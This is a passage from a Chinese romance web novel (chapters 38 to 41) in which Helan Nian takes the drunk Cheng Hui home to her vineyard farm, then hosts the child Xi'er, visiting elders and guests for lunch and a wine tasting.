贺兰念走过去,捡起地上的西装外套拎在手中,站到程回身边。
程回紧皱着眉,灯光下的脸色异常苍白,高大修长的身体虾米状蜷缩在一起,看起来可怜兮兮的。
不知是听到脚步声还是闻到熟悉的味道,程回睁了睁眼睛,他的视线其实只能看到贺兰念的腿。
不知是没有力气还是什么,他没抬头看贺兰念,只是抬起一只手抓住被贺兰念拎着的衣服,看起来像是牵住了贺兰念的手。
他头朝贺兰念腿边挨了挨,气息微弱的道:“贺兰念,我好难受。”
“......”贺兰念终究是山穷水尽般叹了一口气。
她蹲下,与程回平视,轻声问:“为什么难受?”
“......喝酒,”程回死死锁着眉,“我不能喝酒。”
“......所以为什么要喝酒?”
“因为......难受......”
“......”
“你现在是清醒的吗?”贺兰念问。
“......是。”即便胃痛和酒精让他意识都模糊了,程回对这个问题还是异常执着,“我一直......都会很......清醒。”
“我送你回家——”贺兰念下意识脱口说出“回家”这两个字,想到程回说过他没有家,何况在这里,西北。
“你住哪个酒店?还是上次我去找你那个吗?”
程回好半天没说话,最后吐出一句:“不回去......”
程回真是比惜儿难搞多了......
贺兰念现在对程回,比对生病的惜儿还要感到费心。
“你想去哪?”
程回沉默了片刻。
“......就在这里。”他一只手攥住贺兰念的胳膊,力气依旧大的惊人,抓着贺兰念不放手,“你在这里陪我。”
贺兰念不知道他偏瘦的身体哪来这么大力气,攥着她就没有丝毫挣脱的可能。
但她不能待在这啊......她明天早上还要去接惜儿。
“我得回家。”贺兰念软声道,“你如果不想回现在住的酒店,我可以帮你重新订一家,可能条件没有你现在住的好。”
“贺兰念。”程回睁开眼睛,目光幽邃又脆弱,像一汪澄净的湖水,盯着贺兰念道:“你带我回家。”
“不——”行。
贺兰念刚把“不”字说出口,程回突然用力拉了下她的胳膊,她身子被迫向前,几乎成半跪的姿势,被紧紧抱住腰,颈间呼吸微凉,逐渐发烫。
“求你......带我走......”程回声音嘶哑消沉,祈求中带着微弱的委屈,仿佛已认定贺兰念会拒绝他。
贺兰念:“............”
贺兰念在心底叹息,默然想:“你到底要怎么样呢程回?你知道我们之间的矛盾,也知道我们都不会让步......就像今天中午那样,你走你的路,达成你的目的,我走我的路,守护属于自己的东西。挺好的。”
......
又不知过了多久,认命般,贺兰念拍了拍程回的后背,道:“起来吧,我带你回去。”
“......”程回身体僵了下。
听懂贺兰念意思的瞬间,一股不可名状的酸意涌上程回的眼眶,逼得他把怀中温暖的人儿抱得更紧了些。
出乎贺兰念意料的,回去的路上程回一直很安静,他把脸扭在外面,一直盯着窗外黑漆漆的荒漠,偶有一盏昏黄的路灯打在他侧脸,像抹了一层旧时质感的滤镜,把他衬得极不真实。
经过又一片撂荒的土地时,程回突然问:“贺兰念,你买那么多荒地做什么?”
听清程回问了什么,贺兰念惊了下,下意识问:“你怎么知道我买荒地的事?”
“苏馥调查的。”程回坦然道,“她查到你名下有很多荒地,有继承你父母留下来的,还有这几年你自己陆续买的。”
程回扭头看向贺兰念,他眼中的疑问并不强烈,反而有种验证某种猜想的平静,于是他执着问:“为什么?贺兰念。”
贺兰念沉默下来。
这几年她挣得大部分的钱都用来买荒地了,这不是她的主意,是他爸爸生前一直在买荒地垦荒。不仅是种葡萄,他爸爸见不得土地荒废,变成戈壁,变成荒漠,便尽自己所能开发更多荒地出来,种葡萄或者栽种其他果树和挡风挡沙的树木。
早些年种葡萄收益多,很多人都愿意开发荒地种葡萄,他爸爸买的真正的荒地多一些,但这几年葡萄效益一下来,贺兰念买的基本都是之前葡萄园再次撂荒的地。
贺兰念没有她爸爸那般伟大的理想,她只是有点难过......她爸爸曾经的梦想,幻想的蓝图一点点缩小,她无力扩展爸爸的蓝图,她只是想守住她爸爸曾经为之奋斗过的土地。
希冀着以后有机会,再把撂荒的地重新种上绿色,希望的绿色。
“投资吧。”贺兰念说。
“说谎。”程回轻而易举戳破贺兰念的敷衍,“我只见过那些投资土地的人拼命压低土地的成本,没见过自己加价买地的。”
据苏馥的调查,贺兰念买地的价格比荒地的正常价还贵不少。
贺兰念被堵得哑口无言,她不明白程回为什么要对这件事追根问底。
“程回,我做这些没什么特别的意义。”贺兰念叹道,“你就当我钱多没地方花。”
车内安静了片刻。
“我也要买。”程回说。
贺兰念“啊?”了一声。
“我说,我也要买。”程回重复后停顿了下,又道,“用你跟我的名义买。”
贺兰念拔高声调又“啊???”了一声。
程回直直盯着贺兰念的侧脸,道:“你跟我,夫妻的名义。”
“............”
“程回,你头疼不疼?”贺兰念问。
“......有点。”
“晕不晕?”
“......有点。”
贺兰念现在确定,程回是真的喝多了。
贺兰念不再说话,专心开车。
好在程回也没再继续刚才的话题,他视线慢慢落在贺兰念放在方向盘的手上。
从程回第一次见贺兰念,就注意到她左手手腕一直戴着一条绿色葡萄藤手链,一条葡萄藤样式的银链和三条缀着葡萄叶的绿丝线组成的手链。
“贺兰念,手链有什么特殊的含义吗?”
“......护佑平安吧。”贺兰念随口应了句。
半天,程回又突地开口:“贺兰念,你手很好看。”
一刹那,贺兰念只觉程回的视线比正午的阳光还灼热,她强忍着没把手从方向盘上移开。
贺兰念觉得被程回的眼神骚扰了,但知道程回现在是个不清醒的酒鬼,她又没办法跟他计较。
程回依旧眼睛不眨的盯着,
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低喃:“想亲。”
“程回!!!”
被烫到般,贺兰念瞬间把手弹开。
意识到自己握的是方向盘,她手指用力蜷曲几下消解了酥麻感,才重新握住方向盘。
感觉到程回的目光在她身上逡巡,最后落在她脸上,贺兰念几乎坐不住,总觉得程回还会说出什么过分的话来。
于是,贺兰念先出声警告道:“程回,我会把你丢在路上。”
所以,不要再说过分的话了。
程回听懂了贺兰念的弦外之音,他乖乖闭嘴。
看着夜色下贺兰念脸上不明显的羞红,程回眼中闪过柔光,继而被势在必得的浓郁占有欲占满。
*
半小时后,车子停在农场院子中央,贺兰念先下车,见程回坐在车里不下来。
贺兰念走过去,刚把车门拉开,车里的程回已经朝她伸出了手,作势就要贺兰念扶他下车。
“......”贺兰念真心觉得请了个大爷回来。
当了回人体扶手,贺兰念把程回放到沙发上。
程回身体一挨上沙发,立马不满道:“贺兰念,我不睡沙发。”
“......好。”事已至此,贺兰念打定主意把程回当大爷应对,道,“你不睡我睡。”
程回:“......”
“你先躺一会儿,我去煮点醒酒汤。”贺兰念见程回一直捂着肚子,猜测他胃大概还是很不舒服。
闻言,程回往沙发里面退了退,看似找了个舒服的位置和姿势侧躺在沙发上,没有说话。
贺兰念家的厨房跟客厅是相通的,看了会儿灶台上沸腾的姜枣茶,渐渐地,贺兰念视线落在沙发上程回身上,他依旧蜷缩在沙发上,呼吸清浅。
她越来越看不懂程回了,明明白天表现的那么冷漠,现在又缠人的像小孩子。
他身体像是住着两个人,冷漠强大的程回和幼稚像小孩的程回。
姜枣茶煮好,贺兰念又往杯子里加了点蜂蜜,端到程回身边。
“起来喝茶了。”贺兰念补充,“热的。”
程回伸了一只手出来。
贺兰念以为他就这样躺着接,她害怕茶洒出来烫到他,便道:“程回,起来接,你这样拿不稳——”
不料,程回手伸到一半,陡然转了个弯指向自己的嘴巴,“喂我。”
贺兰念:“......”
“你现在就像瘫痪的大爷。”贺兰念讽刺他,试图用激将法让他自食其力。
......
......
......
程回没有丝毫动静。
眼看时间一分一秒过去,手中的茶渐渐变凉,更重要的是,贺兰念看了眼墙上的钟表,已经凌晨三点了!她明天早上还要去机场接惜儿。
贺兰念彻底败下阵来,声音里全是无奈,“程回,你起码要坐起来。”
程回动了动,终于背靠沙发,端坐在了沙发中间,抬眼看着贺兰念。
“......”
贺兰念看了眼程回身前的位置,茶几太矮跟沙发又有点距离,如果坐在上面根本喂不到程回,最后她选择最简单的方式,走到程回身前,剜了一勺茶水,弯腰递到程回唇边。
随着贺兰念弯腰的动作,一头乌黑的直发倾斜而下,有几缕划过程回的指缝,扫过他的胸口,程回的手猛地一缩,他愕然看向贺兰念,却不期然在贺兰念脸上看见神秘墨黑与无暇白玉撞在一起的瑰丽,贺兰念的脸在垂落的黑发间,堪称千古水墨般瑰丽。
程回的眼神越来越沉。
贺兰念看见一缕头发落在茶杯中,懊恼的看了眼披散下来的头发,道:“我再去换一杯。”
她转身就要走,被程回猛地抓住手腕。
贺兰念以为程回又有什么要求,回身问:“怎么了?”
程回的目光落在贺兰念红润的唇上,回忆不受控制想起上次也是在这个沙发上......他抓着贺兰念小臂的手越来越紧。
贺兰念感到痛意,拧眉喊了一声:“程回?”
贺兰念不喜欢被强迫。
贺兰念也不喜欢他。
她会生气的。
她生气会不理自己。
......
程回慢慢松开贺兰念的手腕。
39. Chapter 39
贺兰念有点不明所以,不过见程回放开了手,她也没多想,转身去厨房重新倒了一杯。
回来时,程回背对她,脸朝沙发里面,又躺了下去!
“......”贺兰念仰头叹息一声,不知程回又闹哪样。
贺兰念对着程回的后脑勺说:“可以喝了。”
这一次,程回既没有赖着不起来,也没说让贺兰念喂他,他背对贺兰念起身,反手接过贺兰念手中的茶杯,几口喝了干净,把茶杯递还给贺兰念后,又背对贺兰念躺了下去。
全程几乎没看贺兰念一眼。
贺兰念呆愣片刻,才想起来问:“还要吗?”
程回不知道在犹豫什么,过了好几秒,贺兰念才听到他闷闷回了一个字:“要。”
于是贺兰念又去倒了一杯,同样的流程,程回喝掉茶。
“没有了。”贺兰念接过茶杯,想了下道:“要不你去睡我房间吧。”
“......你睡哪?”程回闷声问。
“沙发。”
程回拧眉:“没有别的房间?”
贺兰念瞬间沉默,过了会儿有些低落道:“其他房间没有收拾。”
想到什么,程回道:“你回去睡,今晚我睡这里。”
贺兰念站了一会儿,看着程回身上周正的西装,问:“你要不要换身衣服?”
她顿了下,“你要是不介意,家里有贺兰承以前的衣服,没穿过的。”
程回好一阵没有说话,贺兰念以为他不愿意穿,正准备走,又听见程回的声音。
“怎么?也是西装?”
“什么意思?”贺兰念没明白程回什么意思。
“你不是喜欢看我穿西装?”程回语气近乎笃定。
贺兰念:“............”
没听见贺兰念的声音,程回再次开口。
“你今天中午看见我的时候,愣住了九秒。”程回声音清扬了不少,“而上次你看见赵幸北时,愣住了一秒。”
贺兰念:“............”
“你说你看见赵幸北时想起了你爸爸。”程回顿了一下,语气带丝玩世不恭和欣喜,“不止这样吧贺兰念。”
贺兰念的心一下子提了起来,唯恐程回说出惊天动地的话。
“我穿西装好看吗,贺兰念?”
贺兰念:“............”
贺兰念:“............”
贺兰念:“............”
贺兰念捏着茶杯的手指逐渐泛白,灼烫不知从哪开始,迅速蔓延她全身,她盯着程回的后背,一时不知道是该感谢程回背对着她,还是该讨厌他的敏锐。
这一刻,她真切感受到,如果一个人太敏锐,又把自己察觉的幽微当面说出来,真的很令人讨厌!!
贺兰念站在那,尴尬的一时不知道说什么,什么反应。
她想着程回如果追问下去,她就不理他直接走掉了。
但程回迟迟没有追问。贺兰念便又觉得他已经如此认定,根本不需要她的确认。
不想再待下去,贺兰念转身就要走。
“贺兰念,你会因为我帮你卖葡萄,喜欢上我吗?”程回的声音不大,在寂静的夜里却异常清晰。
贺兰念顿住脚步,没有太多思考道:“......不会。”
程回沉默了好长时间。
“那也好。”他声音低低说。
“这样,你也不会喜欢上周砚,对吗?”程回又问。
这是什么问题?她怎么会喜欢周砚?
贺兰念的语气几乎是不容置疑的:“我没有喜欢周砚的可能。”
“为什么?”
“没有为什么。”
贺兰念灵光一闪,想到什么,有点匪夷所思问:“难道你今天喝酒是因为周砚吗?”
程回没有回答这个问题,又冷不丁道:“贺兰念,我酒量不好,不能帮你挡酒。”
贺兰念下意识想到的是程回不能喝酒,便道:“程回,我酒量很好,不需要你帮我挡酒——”她话音猝然顿住。
贺兰念看着那个侧躺着,不知怎的就是显得有点孤清的身影,心中隐隐泛起痛意。
意识到程回可能在吃周砚的醋,贺兰念没有一丝开心的情绪。
她张了张嘴巴,想说点什么,又发现她什么都不能说。
贺兰念知道自己的心软,也知道程回在利用她的心软,她不敢回复程回的感情,是因为她害怕,她害怕她一旦答应了程回,丢掉的不止葡萄园。
她不能为了一个人,丢掉葡萄园,丢掉父母的理想和心血,丢掉这里的一切。
她曾在心里发誓,不会为爱情放弃任何东西。
贺兰念转身离开。
过了会儿,她从房间拿来一身干净的衣服、崭新枕头和夏凉被,放到程回身边。
又从卧室提着一个小夜灯出来,贺兰念把夜灯放在茶几上,自己无声坐在对面沙发。大约半个多小时,她看程回睡沉了,才起身回屋睡觉。
而贺兰念以为“睡沉”的程回却一直没有闭眼,贺兰念离开后,他坐起来。
观察了一圈客厅的布局摆设,程回起身走到一扇紧闭的房门前,打开。这是一间卧室,摆设有点陈旧,但异常温馨,带着手工蕾丝的桌布椅套灯罩,好几个制作精美雅致的花瓶摆放在床头柜和书桌上......能看出这间房原来的女主人是个顾家又心细的人。
床上还整齐叠放着两个枕头一床被子,像是一直有人居住。
关上门,程回又打开另外一边西向的房间,这个房间要素明显丰富许多,动漫海报,乐队海报,吉他,光碟,篮球,球衣......这些东西几乎把房间堆的满满当当,只这样看着就能感受到一丝喧闹。
程回最后走到贺兰念脚步声消失的房间前。
门没反锁,程回站在门外,随着房门被推开,以绿色为主色调的房间慢慢映入他眼中。
一张不大的木床,铺了厚厚的床垫,看起来松软又温暖,一套书桌椅,一整面墙的书柜,房间里基本没有什么复杂的装饰,唯一多的东西只有小孩子的玩偶和玩具。
除此之外,地上铺了一层样式复古有点异域特色的厚地毯,看起来很多年,像是贺兰念父母在她很小的时候就给她铺上了。
床上的人睡的很熟,窗外清浅的月光照到她身上,只看着就让人心生安宁。
程回没有进去,他看了会儿,拉上了门。
重新躺在沙发上,程回久久看着茶几上发出暖光的小夜灯。他说他怕黑,贺兰念一直记得。
*
早上六点半,贺兰念醒了一下,她昨晚四点才睡,想着惜儿十一点才到,她便想着再小睡一会儿。
再一睁眼已经十点!
简单收拾洗漱后,贺兰念抓起门后的车钥匙就往院中走。
来到车边,贺兰念猛然想起什么,她折身跑回房间,果然看见程回躺在沙发上睡得正好。
“......”她把程回忘了!
想着昨晚程回喝了酒,大概率也没好好吃饭,贺兰念犹豫了两秒,还是走进厨房。
煎了两份鸡蛋和培根,又放了生菜夹在面包里做了两份三明治,贺兰念把食物装在盘子里,放到餐桌用防蝇罩罩住,她自己则抓了两片干面包,急匆匆出了门。
快到机场时贺兰念接到惜儿的电话。
“念念你来接我了吗?”
贺兰念愧疚道:“对不起惜儿我今天起晚了,我很快到机场,大概十分钟,你如果到了跟紧李爷爷,等我一会儿好吗?”
“可是念念,我已经在回家的路上了。”惜儿道,“刚才有好几个人开着车来机场接李爷爷——,哦,还有程爷爷。”
贺兰念疑惑道:“程爷爷?”
惜儿:“是啊,李爷爷说程爷爷是程哥哥的爷爷。”
贺兰念怔了下,程回从来没说过他的爷爷,而且程回的爷爷为什么突然过来
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?但现在最主要的是,程回在她家啊!!!
贺兰念心猛地一跳,忐忑问:“你们现在在回家的路上吗?”
“对啊,李爷爷说先送我回家。”惜儿道,“念念你走到哪里了?你赶紧调头回来吧,说不定我们在路上就能遇到了。”
“......好。”
希望程回还睡着!希望李怀璧和程回的那位爷爷不要看到程回!!!回去的路上,贺兰念一路祈祷。
然而......
半小时后,贺兰念眼睁睁看着四五辆黑色奥迪车缓缓停到她家门口。
贺兰念急刹车,猛甩车门就往家里跑,远远看见惜儿拉着李怀璧的手推开了农场的门。
还是迟了一步!
贺兰念冲进院子时,惜儿正盯着坐在屋前台阶上的人呆住。
李怀璧笑吟吟的,看着匆匆赶来的贺兰念,笑得意味深长。
惜儿懵懂问:“念念,程哥哥昨天晚上是在我们家睡的吗?”
“......”
贺兰念浑身僵硬,目光也是直的,她喘了两口气,抬眼望去,只见程回闲闲坐在台阶上,手里拿着三明治吃得不紧不慢,被他放在腿边的盘子里空空如也。
贺兰念:“......”
程回平静的看着走进的惜儿和李怀璧,屁股都没挪一下,更对门口的车和恭敬站在车旁穿着行政夹克的一行人视而不见。
听到惜儿的疑问程回没说话,他目光饶有兴致落在贺兰念身上。
贺兰念的目光钉在程回穿的衣服上。
那是她拿给他的,贺兰承的旧衣服,一件简单的白T,一条休闲黑色长裤。
贺兰念第一次见程回穿白色,阳光打在他身上,整个人有种说不出的明媚和性感......
等她终于回神,贺兰念发现,刚才只顾着急,她完全忘了编程回在这的理由!
看着程回坦然接受并不嫌事大的表情,贺兰念只觉百口莫辩!
“就是,过来,借住,一晚。”贺兰念磕磕巴巴。
“哦~~”惜儿一副恍然大悟的表情,“我知道了!”
“念念跟程哥哥谈恋爱了对不对?!”
贺兰念:“............”
承认,事实并非如此。
不承认,眼下更不好解释。
“别瞎猜。”贺兰念摸了摸惜儿的头,她略过关于程回的问题,对着李怀璧点了点头,道,“麻烦您专门送惜儿回来。”
“没什么麻烦的。”李怀璧呵呵笑着,眼神在贺兰念和程回身上转了八百来回,“不来可看不到这个画面,有人要高兴咯~”
贺兰念疑惑,心里正想谁高兴,就见李怀璧冲程回喊声道:“程家小子,你去第二辆车,跟里面的人打个招呼去。”
听见李怀璧这样说,贺兰念才猛得想起惜儿说程回的爷爷也来了!
贺兰念不由看向程回。
程回把最后一口三明治吃完,才拍了拍手起身。
他比贺兰承高了三四公分,原本合适的长裤穿在他身上自动成了九分裤,露出一截细长的脚踝,脚上蹬着双凉拖鞋。
散步般,程回走到贺兰念身边,旁若无人道:“贺兰念,下次走的时候记得给我留纸条,发消息也行,你得让我知道你去了哪里。”
他微蹙着眉,不高兴的埋怨:“为什么每次醒来都看不到你。”
“!!!”
这一刻,贺兰念只觉一口大锅从天而降,砸得她眼冒金星......
贺兰念盯着程回的表情快裂开了。
程回没事人似的,他慢悠悠把视线移到外面一行车上,看向李怀璧嘴里的第二辆车。
他双手插在兜里,表情淡淡的,盯着那辆黑色轿车问:“里面哪位?”
“什么哪位?!”李怀璧看着程回冷淡的样子,佯装骂道,“臭小子!里面坐着的是你爷爷!让你过去打声招呼还委屈你了?”
程回:“......”
40. Chapter 40
程回有好一会儿没说话,半晌他哂然笑了一声,道:“倒不是委屈,只是我跟他老人家不太熟。之前没有见过面,现在贸然过去打招呼,吓到人家。”
“多不好。”程回一脸轻淡,“再说,人家认识我?”
李怀璧拧眉沉默了一瞬,他倒是忘了这一层,程绥早就扬言跟程英纵断绝了父子关系,关于程英纵那些乱七八糟的私生子,程绥没有过问过,也没有见过。
“那你上次在家里答应我见你爷爷?”李怀璧想起上次在他家,他提出这点,程回并没有拒绝。
“啊这件事~”程回若有似无笑了下,“那是看您对贺兰念不错,讨您开心随口答应的。”
李怀璧愣了一下,随即骂道,“臭小子!你还骗起我来了!还说陪我散步,你倒是说得出口!”
“步可以散,人不好见。”程回说。
贺兰念在一旁听着,心中有点惊讶。
她从旁人口中得知程回家庭的复杂,但她还是没想到,程回长这么大,竟然没有见过自己的爷爷......
李怀璧叹息一声:“我倒是在你爷爷面前提过你。”
他看着程回的神色,无奈道:“想不想见你自己决定吧。”
惜儿的眼睛在程回和李怀璧的脸上来回转,听懂他们在说什么,她忍不住开口道:“程爷爷很好的。为什么不要见程爷爷?”
贺兰念先看了眼程回,程回没什么反应。
轻轻拍了下惜儿的肩膀,贺兰念朝惜儿做了个“嘘”的动作,惜儿会意的不再说话。
程回没有过去。
片刻,那辆车的车窗突然降下来,贺兰念看见一个老人的侧脸,严厉威严,精神矍铄,程英纵的眉眼跟他有六七分相似。
老人侧头跟站在旁边穿黑色夹克的男人说话,然后男人向院中走来,对李怀璧道:“李老,程老刚说没有别的事可以走了。”
闻言,李怀璧笑呵呵应道:“行,现在就走。”他看向惜儿,“那惜儿先陪念念,晚上等爷爷的消息,爷爷请你们吃饭好不好?”
“好啊~”惜儿像模像样嘱咐道,“惜儿今天不能陪李爷爷去看望李爷爷的战友,李爷爷见到老朋友也不要太难过,要开开心心哦~”
李怀璧被哄得大笑两声,“开心,开心~”
他目光幽远的看着西北的天空,怅然又愉悦道:“我一来到这里啊,感觉就像回到了年轻的时候,不过空气倒是比我在的时候好多了,天空也蓝了不少......”
“念念——”李怀璧突然喊了贺兰念一声,道,“我说要是在你家住几天,你不会烦我们这两个老家伙吧?”
贺兰念怔了一下,不知为何她眼眶一热,随即应道:“怎么会。”
“那就好。”李怀璧摸了摸惜儿的头,“那我跟你程爷爷就不客气了哈哈~”
他看了一眼农场,看到大枣树下的桌椅,眼睛一亮:“我看晚上在树下乘凉就很不错~我一会儿跟程老说说......”他高兴喃喃着,坐上了车。
车内,不知是不是故意的,李怀璧降下车窗跟贺兰念和惜儿挥手告别,露出坐在他旁边老人的脸。
贺兰念跟李怀璧打完招呼,余光看见程回爷爷看她,贺兰念便也朝老人点了一下头,收到老人微微颔首。
贺兰念不知道是不是看错了,她觉得程回爷爷最后看向的地方,很像程回站着的方向。
把李怀璧送走,贺兰念大腿突然被人紧紧抱住,惜儿腻在她身上,抱住她的双腿就要往上爬,试图让贺兰念抱。
“念念,我真的好想你啊!”惜儿加重语气,“特别多个好想念念!!”
贺兰念的心情几乎瞬间豁然开朗,她笑了两声,把惜儿抱起来。
贺兰念抱着惜儿,听惜儿说着这几天的趣事,她脸上全是干净明朗不加掩饰的笑意,全然忘了站在一旁的程回。
程回目光黑沉沉的。
目光交接,贺兰念脸上的笑僵了下。
过了会儿,惜儿让贺兰念放下她,她欢快的跑向程回,抱住程回的大腿,仰着笑脸道:“程哥哥我们又好久没见了对吧,我也有经常想起程哥哥哦~程哥哥有没有更喜欢惜儿一点?”
惜儿最后一句话出来,贺兰念不禁心头一跳。
小孩子的心思其实是很敏感的,贺兰念又怎么没有看出,相比于其他人对惜儿的喜爱,程回对惜儿的态度确实冷淡许多。
贺兰念看向程回。
程回看起来也被惜儿的话惊到了,贺兰念在他脸上看到了片刻怔愣,他神情稍缓,但依旧不热络,抬手摸了摸惜儿的头。
惜儿立马像餍足的小猫般蹭了蹭程回的手。
贺兰念:“......”太没出息了啊惜儿宝贝。
惜儿热情的拉住程回,要带程回参观农场里她所有的宝贝,走到一半,她回头看贺兰念,眼睛亮晶晶问:“念念~,我中午可以吃到念念做的糖醋里脊吗?我好想吃,昨天前天大前天就好想吃了~”
“可以。”
听到贺兰念肯定的回答,惜儿摇了摇程回的手,问:“程哥哥,你中午想吃什么?念念会做很多好吃的菜哦~”
程回眼睛也亮了下,他看向贺兰念,却一时想不起自己喜欢吃什么。
贺兰念见程回状似认真思索的样子,反问:“你中午应该不在这里吃吧?我看你挺忙——”
“不忙。”程回决然打断贺兰念,他垂眸想了下,也没特别的菜名出现在脑海。
“不管你做什么,我都喜欢吃。”程回说。
惜儿“嘘”了一声,鼓着腮帮子看着程回:“程哥哥好坏哦~惜儿都比你比下去了——,”她看向贺兰念,大声道,“那我也不要糖醋里脊了,不管念念做什么惜儿都最喜欢吃!”
贺兰念:“......”
贺兰念无语的朝天上翻了个眼皮,没理会那一大一小,转身进了厨房。
把五菜一汤做好摆放在院中木桌上,贺兰念坐在椅子上等还在农场闲逛的程回和惜儿,思绪一闲下来,她陡然想起赵幸北怎么还没有给她打电话?
还有程回,昨天态度那般坚定阻止他们的合作,今天像是忘记了一般。
正想着,贺兰念放在桌上的手机响了,正是赵幸北打来的。
赵幸北声音清透又闲适,问:“程回还跟你在一起?”
“......”
赵幸北与昨晚的烦躁判若两人,问出的话却让贺兰念不知道怎么回答。
担心赵幸北找程回有急事,贺兰念承认般问:“你找他?”
“不,找你们。”赵幸北语气中隐隐透出戏谑,“既然你们在一起,我就过去找你们吧。”
“......”
贺兰念刚挂断电话,听见程回的声音从背后传来。
“谁的电话?”
“赵幸北。”
“......”程回坐在贺兰念身边,拧了下眉问,“他找你做什么?”
“他应该是找你有事。”贺兰念道,“他说他一会儿过来。”
听到这句话,程回看着桌上的饭菜顿了下,然后想都没想道:“我跟他没什
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么事可说的,你让他不用过来了。”
贺兰念有点为难,她现下还是比较着急见到赵幸北,解决昨天悬而未决的事情。
她犹豫着道:“可是,他已经说要过来了。”
程回几乎立马道:“那你就跟他说,别赶到别人饭点来!来了也没他的饭吃!”
贺兰念:“............”
没理会程回莫名其妙又幼稚的护食行为,贺兰念没给赵幸北回电话让他晚点来。
程回把筷子放到贺兰念面前,见贺兰念迟迟不动筷子,不高兴道:“贺兰念,你不准等赵幸北!”
“......”
再怎么说,赵幸北也是客人,贺兰念实在不好意思让来客看着他们吃饭,或者剩一桌残羹剩饭,无奈道:“程回,人家是客人——”
察觉这句话的歧义,贺兰念立马顿住。
但为时已晚,程回夹菜的手已经僵在半空,他眸光闪动,看向贺兰念。
贺兰念被他看得脸渐渐发烫,她张口想说“你也是客人”,但喉咙间干涩,什么声音都没发出。
......
“算了,不等就不等了。”贺兰念自暴自弃抓起桌上的筷子,低头开始吃饭。
察觉程回久未移开的视线,贺兰念捏着筷子的手紧了紧,“程回,如果你再看我,我可能要说你不喜欢听的话了。”
贺兰念听到程回“哼”了一声,随即锁在她身上的视线一松,眼底多了双夹着虾仁的筷子。
程回放下虾仁,又很快给贺兰念夹了块里脊,继而清蒸鱼块......
贺兰念忍无可忍,用筷子挡下程回夹菜的动作,道:“你自己吃。”
“你们两个好奇怪~”
对面的惜儿瞪着眼睛看着贺兰念和程回,她满脸疑惑,歪了歪头问:“念念,几天没见,你已经结婚了吗?”
贺兰念:“............”
贺兰念被一口菜汤呛住,脸咳得通红,程回努力压了压忍俊不禁的嘴角,抬手给贺兰念顺背。
贺兰念顶着复杂的神色看向惜儿:“你知道什么是结婚吗?”
“知道啊~”惜儿神色认真,“就是两个相互喜欢的人永远在一起。”
“......”
听到惜儿单纯简单的想法,贺兰念沉默半天,也不知道说些什么,反驳的话更是一句都想不出。
这时,程回突然开口问:“那你觉得我跟......念念会结婚吗?”
贺兰念震惊看向问这句话的程回,久久不能回神。
而程回神色严肃的看向惜儿,等着惜儿的回答。
“可能会吧。”惜儿自然理解不了复杂的情爱,她眼睛里的困惑快要溢出来了,“我也不知道,这要看念念喜欢谁。”
很快,她把困惑抛掉,目光重新通透明亮起来,道:“不过,如果念念能找到喜欢的人结婚,我会很高兴的~”
“那你觉得念念喜欢我吗?”程回问。
惜儿绷着小脸,眼神凛冽严肃,思考半天,点了两下头。
程回怔住。
“我如果跟念念结婚,你高兴吗?”
惜儿绷着的脸瞬间绽放,她眼中如烟花绽放,刚想狠狠点两下头,看到贺兰念怔愣间有点苦苦的神色,她点头的动作收敛住,朝程回微不可察点了两下头。
程回看见,弯了弯唇。
到此,这个话题就这样止住,没有人再提。
大约半小时后,三人喝着汤时,赵幸北赶来,一起来的还有楚若。
41. Chapter 41
对于到来的两人,程回只扫一眼便收回了视线,他又给自己盛了一碗汤,没有丝毫打招呼的意思。
惜儿惊叹的看着楚若,几乎忘了眨眼睛,更别说打招呼了。
于是,只有贺兰念站了起来。
今天程回吃的尤其多,盘子里基本没剩什么,贺兰念看了一眼仅剩的牛腩汤,不好意思道:“你们吃饭了吗?要不要喝汤?”
“汤?还有吗?”楚若大咧咧推了推呆愣的惜儿,柔声道,“小美女,给姐姐让个座呗?”
惜儿不自觉往里面挪了挪。
“谢谢宝贝~”楚若“吧唧”一口亲在惜儿头顶,她拿起碗和汤勺就要盛汤。
煲锅里比她脸都干净!
看到楚若尴尬的表情,贺兰念往前探了探身,看到煲汤锅里情况,她比楚若神情还尴尬,看向程回。
对上贺兰念的眼睛,程回挑了挑眉,他从碗里挖了一勺牛腩肉放到嘴里,笑得有恃无恐。
“......”
贺兰念收回视线,不好意思对楚若道:“抱歉。我再去煲点。”
楚若不在意的摆了摆手,“不用麻烦啦,我车里有午饭,我让冀叔拿来吃。”
赵幸北闻言折回去,很快拎着保温箱回来,他拿出里面的饭菜摆到桌上。
惜儿视线在赵幸北和楚若身上飘了几眼,极有眼色的让出座位,跑到对面程回身边坐下。
“哟,今天这么多人!”
门口传来一道爽朗的吆喝,惜儿扭头看见羊明煦,立马跳起来,欢快的跑了过去:“羊哥哥!!!”
羊明煦放下手中的东西,一把把惜儿抱了起来,咧着嘴笑道:“你这个小鬼有没有想我啊?”
“超级想的!!”惜儿紧紧抱住羊明煦的脖子,“想立马见到羊哥哥~”
羊明煦“啧”了一声,“我收到你的消息,不是立马来了嘛~”
惜儿嘻嘻笑。
羊明煦把惜儿放在餐椅上,他看了眼桌上的菜,道:“吃过了啊?我还说从家里带了饭过来。”说着他把手中的饭盒放下。
“来来来,”楚若不客气道,“我们还没吃,一起吧。”
羊明煦见到楚若,惊了下,又瞅了眼身边西装革履看起来非富即贵的赵幸北,莫名觉得今天阵容真强大,心里感叹自己这是赶上了什么富贵局?
贺兰念给楚若赵幸北和羊明煦相互介绍完,想了下,起身去了趟酒窖,再出来时手里拿了瓶红酒。
羊明煦盯着贺兰念手中的红酒,他早就听他爸说贺兰念爸爸是绝对的酿酒高手,心里不由期待起来。
于是,贺兰念一倒上,他立马端起酒杯闻了闻。
东欧卢浮橡木的天然香,陈年的单宁口感柔滑,红酒风味从入口到下咽始终鲜明,余味足足有三十多秒......
羊明煦品着口中的红酒,不由陶醉道:“最佳的采摘时间,还有顶级的酿造工艺!厉害,太厉害了!!”
终于喝到传说中李碑酿的酒,再想到人已离世,羊明煦脸上的陶醉慢慢变成深深的痛惜。
“可惜,太可惜了!”羊明煦自顾自说着,“你爸爸不建酒庄酿葡萄酒,真是可惜——”
意识到什么,羊明煦猛地清醒看向贺兰念,看到贺兰念面色如常并无异样,他才松了一口气。
程回看羊明煦一眼,问:“懂酒?”
羊明煦后知后觉有点不好意思,“懂点懂点。”
他顿了下,解释道:“我家有一个酒庄,我爸对葡萄酒上头,从小|逼我尝各种酒,懂个皮毛而已。”
听到羊明煦的话,贺兰念想起他爸爸说过的一段话:要想酿出顶尖的葡萄酒,你必须历经磨练,必须熟悉每一块土壤,了解每一颗葡萄,投入巨大的热情,克服各种艰辛去实践,否则任何懒惰都将在最终酿造的葡萄酒中受到惩罚。
羊明煦能一下尝出这么多,贺兰念不觉得他只是略懂皮毛。
